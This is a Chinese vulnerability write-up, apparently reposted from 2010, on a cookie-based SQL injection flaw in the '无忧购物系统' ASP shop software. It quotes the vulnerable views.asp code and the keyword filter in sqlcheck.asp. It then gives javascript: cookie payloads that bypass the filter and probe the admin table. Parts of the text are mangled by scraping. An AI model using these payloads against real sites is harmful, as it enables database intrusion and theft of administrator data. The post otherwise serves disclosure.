作者:梦想不被束缚 | 来源:互联网 | 2017-11-11 15:41
无忧购物系统cookies注入oday漏洞发布日期:2010-04-18发布作者:流浪的风影响版本:未知漏洞描述:其实代码中出现了多处SQLintection,但是在Conn.asp中:SetConnNothingResponse.Write数据库连接出错Response.EndEndIf%!--#includefile
无忧购物系统COOKIEs注入oday漏洞
发布日期:2010-04-18
发布作者:流浪的风
影响版本:未知
漏洞描述:
其实代码中出现了多处SQLintection,但是在Conn.asp中:
Set COnn= Nothing Response.Write "数据库连接出错" Response.End End If %>
翻开了sqlcheck.asp,部分代码如下:
For Fy_x=0 to ubound(Fy_Cs)
If Fy_Cs(Fy_x)<>"" Then
If Instr(LCase(Request(Fy_Cs(Fy_x))),"'")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"and")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"select")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"update")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"chr")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"delete%20from")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),";")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"insert")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"mid")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"master.")<>0 Then
response.Write ""
Response.End
过滤得还真不少~ '|and|select|update|mid|....等等等等 - -
但问题不是很大的说~~ 先贴上一处吧,views.asp 部分代码如下:
<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>lspan="3" align="center"& gt;没有找到你要查看的商品,您可以color="#FF0000"& gt;点击这里进行详细搜索! |
<%else
rs("hw_views")=rs("hw_views")+1
rs.update
可以看到,hw_id=Request("hw_id"),呵,如果管理员直接:
hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下 或许我还难办点~~
(Ps:哎,自从国内推出了防注射代码后,程序员们都变懒了~~~)
request集合中包含了COOKIE,所以 无论他的防注射代码多么的BT,咱们都可以忽略了:)
测试代码如下:
http://www.xxx.com/views.asp?hw_id=503
清空浏览器后提交:Javascript:alert(document.COOKIE="hw_id=" + escape("503 and 1=1"))
Javascript:alert(document.COOKIE="hw_id=" + escape("503 and 1=2"))
直接判断出存在注入了
Javascript:alert(document.COOKIE="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))